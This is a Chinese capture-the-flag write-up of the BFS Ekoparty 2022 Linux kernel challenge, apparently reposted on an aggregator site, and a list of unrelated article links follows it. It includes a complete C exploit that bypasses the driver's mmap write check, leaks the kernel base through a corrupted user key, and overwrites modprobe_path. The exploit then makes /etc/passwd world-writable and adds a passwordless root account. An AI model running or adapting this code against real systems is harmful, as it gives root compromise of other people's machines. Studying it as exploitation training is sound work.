BFS Ekoparty 2022 -- Linux Kernel Exploitation Challenge

news2024/11/25 18:28:31

前言

昨天一个师傅给了我一道 linux kernel pwn 题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是 BFS Lab 2022 年的一道招聘题?还一道 window 利用相关的,但我不太会,这两道题目做出来就可以获得面试资格(:这不禁让我想起学校各大公司的招聘宣讲会,扯了一个晚上结果告诉我们回去网申,乐

这里先简单看下其要求:
在这里插入图片描述
可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核 5.15.0-52-generic (目前 2024 已经不是最新了)的 Ubuntu 22.04 VM 上完成利用,如果在开启 SMAP/SMEP 时可以完成利用则会获得额外的加分

环境搭建

目前我虚拟机的内核版本为 6.5.0,所以这里简单切换下内核版本,这里我选择的版本为 5.15.0-72-generic,主要是不想自己源码编译

其给了模块源码,自己编译安装即可,这里给出脚本:

  • Makefile 如下:
obj-m += blunder.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)

all:
	make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
	make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
  • install.sh 如下:
#!/bin/sh
sudo insmod blunder.ko
sudo chmod 666 /dev/blunder

漏洞分析

先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情

正如挑战所描述的那样,其实现了一个 IPC 模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与 SCM_RIGHTS 消息非常相似,发送的其实是底层的 struct file 结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程 A 发送数据 data 到进程 B,此时会把 data 挂在 B 对应 blunder_proc 结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程 B 接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:

说实话,跟 sendmsg 系统调用传递 SCM_RIGHTS 辅助消息的底层处理非常像(:可以说是一个阉割版

在这里插入图片描述
这里解释一些结构体:

  • struct blunder_device:总的管理结构,每个进程的 blunder_proc 会被维护成一颗红黑树,其中 blunder_device.procs 就是 RBT 的根
    • context_manager 没啥用(:代码中没啥实现相关操作
// 全局管理结构
struct blunder_device {
	spinlock_t lock;
	struct rb_root procs;
	struct blunder_proc *context_manager;
};
  • struct blunder_proc:每一个打开 /dev/blunder 的进程都会维护一个,其保存在 fileprivate_data
    • struct blunder_alloc alloc 数据缓冲区管理结构,其他进程发送的数据会被保存在里面
    • struct list_head messages 是接收队列,当其他进程给该进程发送消息时,消息会被暂时保存在这里
/*
 * @refcount: number of references for this object.
 * @rb_node : links procs in blunder_device.
 * @alloc: the allocator for incoming messages
 * @handles: rb-tree of handles to other blunder_proc.
 * @messages: list of IPC messages to be delivered to this proc
 */
 // 每个进程维护一个
struct blunder_proc {
	struct kref refcount;
	spinlock_t lock;
	int pid;
	int dead;
	struct rb_node rb_node;		// 与 blunder_device 连接成 RBT
	struct blunder_alloc alloc; // 数据缓冲区管理结构
	struct list_head messages;  // 接收队列
};
  • struct blunder_alloc:缓冲区管理结构
    • mapping 指向缓冲区
    • user_buffer_offset:上面说了,内核缓冲区会被映射到用户空间,user_buffer_offset 表示的就是内核缓冲区的起始地址到被映射到用户空间地址的偏移
    • buffers:待接收数据块链表
/*
 * @mapping: kernel mapping where IPC messages will be received.
 * @mapping_size: size of the mapping.
 * @buffers: list of `blunder_buffer` allocations.
 * @user_buffer_offset: distance between userspace buffer and mapping
 */
struct blunder_alloc {
	spinlock_t lock;
	void *mapping;
	size_t mapping_size;
	ptrdiff_t user_buffer_offset;
	struct list_head buffers;
};
  • struct blunder_buffer 待接收数据会以如下结构进行保存
struct blunder_buffer {
	struct list_head buffers_node;
	atomic_t free;
	size_t buffer_size;	// buffer 空间的大小
	size_t data_size;	// 实际存储数据的大小
	size_t offsets_size;
	unsigned char data[0];
};
  • struct blunder_message 被挂到接收队列链表的结构
struct blunder_message {
	struct list_head entry;
	int opcode;
	struct blunder_proc *from; // --> pid??
	struct blunder_buffer *buffer;
	size_t num_files;
	struct file **files;
};
  • struct blunder_user_message 用户空间传入结构
struct blunder_user_message {
	int handle;  // pid
	int opcode;	
	void *data;	 // 要发送/接收数据的指针
	size_t data_size; // 要发送/接收数据的大小
	size_t *offsets; 
	size_t offsets_size;
	int *fds;	// fds[num_fds]
	size_t num_fds;
};

对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:

static int blunder_mmap(struct file *filp, struct vm_area_struct *vma) {
......
	// sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限
	// 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWN
    if (sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {
        goto out;
    }  
......

这里得配合作者给的提示:

主要还是我太菜了,一开始并没觉得有啥问题

在这里插入图片描述
通过作者给的提示可以知道这里虽然检查了 VM_WRITE,但是并没有检查 VM_MAYWRITE,也就是说如果映射时如果带有 VM_MAYWRITE 标志则在后面可以利用 mprotect 赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下 mmap 源码:
在这里插入图片描述
可以发现对于使用 O_RDWR 打开的文件,在进行文件映射时,会默认加上 VM_MAYWRITE 标志,所以整个漏洞就很清晰了:

  • 使用 O_RDWR 打开驱动文件
  • 只使用 PROT_READ 进行 mmap 映射,此时可以通过检查
  • 使用 mprotect 修改被映射区域的权限为可读可写

漏洞利用

这里 mmap 最小的映射大小就是 0x1000,所以对应到内核就是 kmalloc-4k,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:
在这里插入图片描述
最开始我想的是通过修改 buffer_size 去实现越界写,但是发现我的环境开启了 Hardened usercopy,但是这里还是有办法的,那就是在末尾伪造一个 struct blunder_buffer header,这里在进行写入时就不存在跨页了

所以这里我们获得了一个比较强大的原语:

  • kmalloc-4k 堆溢出 【下溢】,并且溢出内容可控

按理说利用就变得简单了,但是我的环境又存在 cg 隔离,导致常用的适配大对象的结构体 pipe_buffer/msg_msg 都不适用,而且这里并不好利用 cross cache 攻击,因为 kmalloc-4kpageperslab 为 8,并且这里的溢出只能是相邻溢出,并且由于 Hardened usercopy 保护,这里最多溢出 0xfd0,所以我们得利用 cross cache 形成如下堆布局才行:
在这里插入图片描述
由于笔者对 cross cache 攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在 GFP_KERNEL 分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod 泄漏 kbase + pgvUSMA 篡改 modprobe_path

这里比较 niceubumodprobe_path 相关保护似乎是关了的,当然没关也无所谓,USMA 劫持 setresuid 相关底层函数也行

所以这里先堆喷形成如下布局:
在这里插入图片描述
然后利用越界写修改 user_key_payload1datalen 从而实现越界读取 user_free_payload_rcu 从而泄漏 kbase

然后在释放掉 user_key_payload1,在申请 pgv 占据该对象,然后在利用越界写修改地址为 modprobe_path 即可完成 USMA 劫持 modprobe_path

最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>


void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    	system("echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo '\xff\xff\xff\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
	system("echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd");
	system("su hacker");
	exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#define IOCTL_BLUNDER_SET_CTX_MGR	_IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG		_IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG		_IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF		_IOWR('s', 4, void *)

struct blunder_user_message {
	int handle;
	int opcode;
	void *data;
	size_t data_size;
	size_t *offsets;
	size_t offsets_size;
	int *fds;
	size_t num_fds;
};

void set_ctx(int fd) {
	ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}

void send_msg(int fd, int topid, void* data, size_t data_size, int* fds, size_t num_fds) {
	struct blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };
	ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}

void recv_msg(int fd, int* fds, size_t num_fds) {
	struct blunder_user_message n = { .fds=fds, .num_fds=num_fds };
	ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}

void free_buf(int fd, unsigned long arg) {
	ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
        err_exit("FAILED to create a new namespace");

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
   
    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) puts("socket(AF_PACKET)"), exit(-1);
    
    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
    
    return s;
}

// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int main(int argc, char** argv, char** envp)
{
	bind_core(0);	
	int pipe_fd[2];
	pipe(pipe_fd);
	pid_t pid = fork();
	if (!pid) {
		unshare_setup();
		char* mmap_addr;
		int key_id[KEY_NUMS];
		char desc[0x10] = { 0 };
		char buf[0x10000] = { 0 };
		int fds[MAX_FDS] = { 0 };
		uint64_t kheap = 0;
		uint64_t khead = 0;
		uint64_t kbase = 0;
		uint64_t koffset = 0;
		uint64_t modprobe_path = 0x1e8bb00;
		int evil_key = -1;
		int res, flag;
		int pid = getpid();
		int fd = open("/dev/blunder", O_RDWR);
		if (fd < 0) err_exit("open /dev/blunder");

		for (int i = 0; i < KEY_NUMS / 2; i++) {
			sprintf(desc, "%s%d", "XiaozaYa", i);
			key_id[i] = key_alloc(desc, buf, 2032);
		}

		mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
		if (mmap_addr == MAP_FAILED) err_exit("mmap");


		for (int i = KEY_NUMS / 2; i < KEY_NUMS; i++) {
			sprintf(desc, "%s%d", "XiaozaYa", i);
			key_id[i] = key_alloc(desc, buf, 2032);
		}

		printf("[+] mmap_addr: %#llx\n", mmap_addr);
		if (mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit("mprotect");
	
		send_msg(fd, pid, buf, 0x10, NULL, 0);

		kheap = *(uint64_t*)(mmap_addr) - 0x40;
		khead = *(uint64_t*)(mmap_addr + 8);
		printf("[+] kheap: %#llx\n", kheap);
		printf("[+] khead: %#llx\n", khead);

		*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
		*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
		*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
		*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
		*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;
		*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
		binary_dump("first  buf", mmap_addr, 0x30);	
		binary_dump("second buf", mmap_addr+0x1000-0x30, 0x30);	

		*(uint64_t*)(buf + 16) = 0xfff0;
		send_msg(fd, pid, buf, 0x20, NULL, 0);
		binary_dump("use buf", mmap_addr+0x1000-0x30, 0x30);	

		memset(buf, 0, sizeof(buf));

		for (int i = 0; i < KEY_NUMS; i++) {
			res = key_read(key_id[i], buf, 0xfff0);
			if (res > 0x1000) {
				printf("[+] key overread data len: %#lx\n", res);		
				evil_key = i;
				break;
			}
		}	

		if (evil_key == -1) {
			write(pipe_fd[1], "N", 1);
			err_exit("not hit evil_key");
		}

		printf("[+] evil_key: %d\n", evil_key);

		for (int i = 0; i < KEY_NUMS; i++) {
			if (i != evil_key) {
				key_revoke(key_id[i]);
			}
		}

		res = key_read(key_id[evil_key], buf, res);
		int hit_count = 0;
		for (int i = 0; i < res / 8; i++) {
			uint64_t val = *(uint64_t*)(buf + i*8);
			if ((val&0xfff) == 0xa60) {
				if (kbase == 0) {
					printf("[+] user_free_payload_rcu: %#llx\n", val);
					kbase = val - 0x52ba60;
					koffset = kbase - 0xffffffff81000000;
				}
				hit_count++;
			//break;
			}
		}

		if (kbase == 0) {
			write(pipe_fd[1], "N", 1);
			err_exit("Failed to leak kbase");
		}

		printf("[+] hit count: %d\n", hit_count);
		printf("[+] kbase: %#llx\n", kbase);
		printf("[+] koffset: %#llx\n", koffset);

		modprobe_path += kbase;
		printf("[+] modprobe_path: %#llx\n", modprobe_path);
		key_revoke(key_id[evil_key]);

//		key_unlink(key_id[evil_key]);
		
		int packet_fd;
		char* page;		
		#define TRY_NUMS 0x20
		int try_keys[TRY_NUMS];
		int index = 0;
		memset(desc, 0, sizeof(desc));
		for (int i = 0; i < 257; i++) {
			*(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);
		}	
		for (int i = 0; i < TRY_NUMS; i++) {
			printf("[+] try %d/32\n", i);
			packet_fd = pagealloc_pad(257, 0x1000);
			if (packet_fd < 0) {
				write(pipe_fd[1], "N", 1);
				perror("pagealloc_pad");
				exit(-1);	
			}

			*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
			*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
			*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
			*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
			*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;
			*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
			send_msg(fd, pid, buf, 257*8, NULL, 0);
		
			page = (char*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
			if (page == MAP_FAILED) {
				write(pipe_fd[1], "N", 1);
				printf("[x] packet_fd: %d\n", packet_fd);
				perror("mmap for USMA");
				exit(-1);
			}

			page[strlen("/sbin/modprobe")] = '\x00';
			printf("[s] hit string: %s\n", &page[modprobe_path&0xfff]);
			if (!strcmp(&page[modprobe_path&0xfff], "/sbin/modprobe")) {
				strcpy(&page[modprobe_path&0xfff], "/tmp/x");
				write(pipe_fd[1], "Y", 1);
				goto OUT;		
			}
			
			munmap(page, 0x1000*257);
			close(packet_fd);
			
			sprintf(desc, "%s%d", "Try", index);
			try_keys[index++] = key_alloc(desc, buf, 2032);
		} 

		write(pipe_fd[1], "N", 1);
	OUT:
		puts("[+] Child Porcess Over");
		exit(0);
	} else if (pid < 0) {
		err_exit("fork");
	
	} else {
	
		char buf[1];
		read(pipe_fd[0], buf, 1);
//		wait(NULL);
		sleep(2);
		if (buf[0] == 'Y') {
			get_root_shell();
		}
		puts("[+] Parent Porcess Over");
		exit(0);
	}

/*
	// just test
   	fds[0] = open("./test", O_RDWR);
	send_msg(fd, pid, buf, 0x10, fds, 1);
	binary_dump("MMAP DATA", mmap_addr, 0x100);	
	send_msg(fd, pid, buf, 0x10, fds, 1);
	binary_dump("MMAP DATA", mmap_addr, 0x100);	
	recv_msg(fd, &fds[1], 1);
	printf("%d\n", fds[1]);
	binary_dump("MMAP DATA", mmap_addr, 0x100);	
*/

        return 0;
}

最后效果如下:堆喷策略比较简单,所以成功率不算太高
在这里插入图片描述

总结

这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么

相关注释源码和 exp 可在笔者的 github 上下载

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1648889.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【优选算法】——Leetcode——202—— 快乐数

目录 1.题目 2. 题⽬分析: 3.简单证明&#xff1a; 4. 解法&#xff08;快慢指针&#xff09;&#xff1a; 算法思路&#xff1a; 补充知识&#xff1a;如何求⼀个数n每个位置上的数字的平⽅和。 总结概括 5.代码实现 1.C语言 2.C 1.题目 202. 快乐数 编写一个算法来…

国家电网某地电力公司网络硬件综合监控运维项目

国家电网某地电力公司是国家电网有限公司的子公司&#xff0c;负责当地电网规划、建设、运营和供电服务&#xff0c;下属多家地市供电企业和检修公司、信息通信公司等业务支撑实施机构。 项目现状 随着公司信息化建设加速&#xff0c;其信息内网中存在大量物理服务器、存储设备…

我独自升级崛起在哪下载 我独自升级崛起客户端下载教程

定于5月8日全球盛放的《我独自升级&#xff1a;崛起》——这一激动人心的动作角色扮演游戏巨作&#xff0c;汲取了同名动漫及网络漫画的精髓&#xff0c;誓将以其无与伦比的魅力&#xff0c;引领玩家迈入一个探索深远、规模宏大的奇幻之旅。游戏构筑在一个独一无二的网络武侠世…

英语学习笔记3——Sorry, sir.

Sorry, sir. 对不起&#xff0c;先生。 词汇 Vocabulary umbrella n. 伞&#xff0c;保护伞 注意读音 [ʌm’brelə] 英国人离不开雨伞。 please 请 特殊用法&#xff1a;让路&#xff08;升调&#xff09;      用餐礼仪&#xff08;平调&#xff09;      求求你…

【Toritoise SVN】SVN 怎么忽略文件夹下的所有文件但是不忽略文件夹本身

比如&#xff1a;忽略 Assets\StreamingAssets\LocalAsset文件夹下的所有文件但是不忽略LocalAsset这个文件夹 在TortoiseSVN中&#xff0c;你可以通过以下步骤来修改文件夹的svn:ignore属性&#xff1a; 打开Windows资源管理器&#xff0c;导航到你的工作副本中的Assets\Stre…

鸿蒙内核源码分析(互斥锁篇) | 互斥锁比自旋锁丰满多了

内核中哪些地方会用到互斥锁?看图: 图中是内核有关模块对互斥锁初始化,有文件,有内存,用消息队列等等,使用面非常的广.其实在给内核源码加注的过程中,会看到大量的自旋锁和互斥锁,它们的存在有序的保证了内核和应用程序的正常运行.是非常基础和重要的功能. 概述 自旋锁 和…

HIVE函数的基本使用

HIVE函数的基本使用 1.查看所有支持的函数 共289个 1)SHOW FUNCTIONS 查看所有支持的函数 共289个 2)SHOW FUNCTIONS LIKE "**" 模糊查询函数名 3)DESC FUNCTION 函数名 可以查看函数的具体使用方法 show functions; show functions like "*c…

【Python爬虫实战入门】:全球天气信息爬取

文章目录 一、爬取需求二、所需第三方库2.1 简介 三、实战案例四、完整代码 一、爬取需求 目标网站&#xff1a;http://www.weather.com.cn/textFC/hb.shtml 需求&#xff1a;爬取全国的天气&#xff08;获取城市以及最低气温&#xff09; 目标url&#xff1a;http://www.weath…

双热点的王炸组合!损失函数+Attention,精度与速度上实现SOTA!

损失函数注意力机制在深度学习领域是一个热门研究方向&#xff0c;它可以提高模型的性能和泛化能力&#xff0c;帮助我们构建更加精确且高效的模型。 具体来说&#xff1a; 通过结合注意力机制的聚焦能力和损失函数的优化指导&#xff0c;模型能够更精确地捕捉数据中的关键信息…

Vue3基础笔记(4)组件

目录 一.模版引用 二.组件组成 1.引入组件 2.注入组件 3.显示组件 三.组件嵌套关系 四.组件注册方式 五.组件传递数据 六.组件事件 一.模版引用 虽然Vue的声明性渲染模型为你抽象了大部分对DOM的直接操作&#xff0c;但在某些情况下&#xff0c;我们仍然需要直接访问底…

一个新细节,Go 1.17 将允许切片转换为数组指针!

在 Go 语言中&#xff0c;一个切片&#xff08;slice&#xff09;包含了对其支持数组的引用&#xff0c;无论这个数组是作为一个独立的变量存在于某个地方&#xff0c;还是仅仅是一个为支持分片而分配的匿名数组。 其切片基本结构都如下&#xff1a; // runtime/slice.go typ…

windows安装ElasticSearch以及踩坑

1.下载 elasticsearch地址&#xff1a;Past Releases of Elastic Stack Software | Elastichttps://www.elastic.co/cn/downloads/past-releases#elasticsearch IK分析器地址&#xff1a;infinilabs/analysis-ik: &#x1f68c; The IK Analysis plugin integrates Lucene IK…

学习R语言第五天

文章目录 语法学习创建数据的方式绘制图形的方式图形添加颜色如何操作数据的方式数据进行验算的判断加付值的方式修改变量名称的方式判断是否存在缺失值在计算的方式忽略缺失值通过函数的方式忽略缺失值日期处理的方式字符串转化成日期的方式格式化数据框中数据返回当前的日期的…

【重磅开源】MapleBoot生成代码工具介绍(单表表格功能)

基于SpringBootVue3开发的轻量级快速开发脚手架 &#x1f341;项目简介 一个通用的前、后端项目模板 一个快速开发管理系统的项目 一个可以生成SpringBootVue代码的项目 一个持续迭代的开源项目 一个程序员的心血合集 度过严寒&#xff0c;终有春日&#xff…

【深度学习实战(33)】训练之model.train()和model.eval()

一、model.train()&#xff0c;model.eval()作用&#xff1f; model.train() 和 model.eval() 是 PyTorch 中的两个方法&#xff0c;用于设置模型的训练模式和评估模式。 model.train() 方法将模型设置为训练模式。在训练模式下&#xff0c;模型会启用 dropout 和 batch norm…

SinoDB SQL管理工具之-DBeaver安装使用说明

本文介绍如何使用DBeaver管理工具连接SinoDB数据库。 1. DBeaver下载 下载地址&#xff1a;Download | DBeaver Community 请根据需求选择对应自己操作系统的版本进行下载。本次示例使用Windows 64位操作系统进行安装配置。下载版本为&#xff1a;dbeaver-ce-23.0.2-x86_64-…

什么是SOL链跟单机器人与阻击机器人?

SOL链作为一个快速增长的区块链生态系统&#xff0c;为各种应用程序提供了丰富的发展机会。在SOL链上&#xff0c;智能合约的应用已经开始蓬勃发展&#xff0c;其中包括了许多与加密货币交易相关的应用。在本文中&#xff0c;我们将介绍在SOL链上开发的阻击机器人&#xff08;S…

42.乐理基础-拍号-看懂拍号的意义

到这必然是已经知道 X、Y的意思了&#xff1a; 然后带入数字&#xff1a; 然后念拍号的时候&#xff0c;在国内&#xff0c;百分之九十的地方是从下往上念&#xff0c;念作四二拍&#xff0c;还有百分之十的地方是和国外一样&#xff0c;从上往下念&#xff0c;念作二四拍&…

DigitalOcean 应用托管平台级更新:应用端到端运行时性能大幅改进

DigitalOcean 希望可以为企业提供所需的工具和基础设施&#xff0c;以帮助企业客户加速云端的开发&#xff0c;实现业务的指数级增长。为此 DigitalOcean 在 2020 年就推出了App Platform。 App Platform&#xff08;应用托管&#xff09; 是一个完全托管的 PaaS 解决方案&…

如何自己快速的制作流程图?6个软件教你快速进行流程图制作

如何自己快速的制作流程图&#xff1f;6个软件教你快速进行流程图制作 自己制作流程图可以是项目管理、流程设计或教学展示中的重要环节。以下是六款常用的流程图制作软件&#xff0c;它们都提供了快速、简单的方式来制作流程图&#xff1a; 迅捷画图&#xff1a;这是一款非…